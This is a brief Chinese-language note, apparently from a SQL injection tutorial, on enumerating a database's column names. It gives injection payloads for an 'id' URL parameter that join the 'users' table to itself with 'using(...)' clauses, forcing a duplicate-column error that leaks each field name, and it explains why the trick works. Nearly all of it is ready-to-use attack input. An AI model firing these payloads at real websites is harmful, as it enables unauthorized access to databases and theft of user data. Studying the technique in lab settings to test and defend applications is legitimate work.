爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' select * from (select * from users as a join users )
id?id=-1' union select * from (select * from users as a join users b using(id))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。
select * from users as a join users
原理:通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 using 表达式挨个包含查询每一列,实现列的转移。(两相同的表,字段名肯定重复,用此机制既可查出字段名)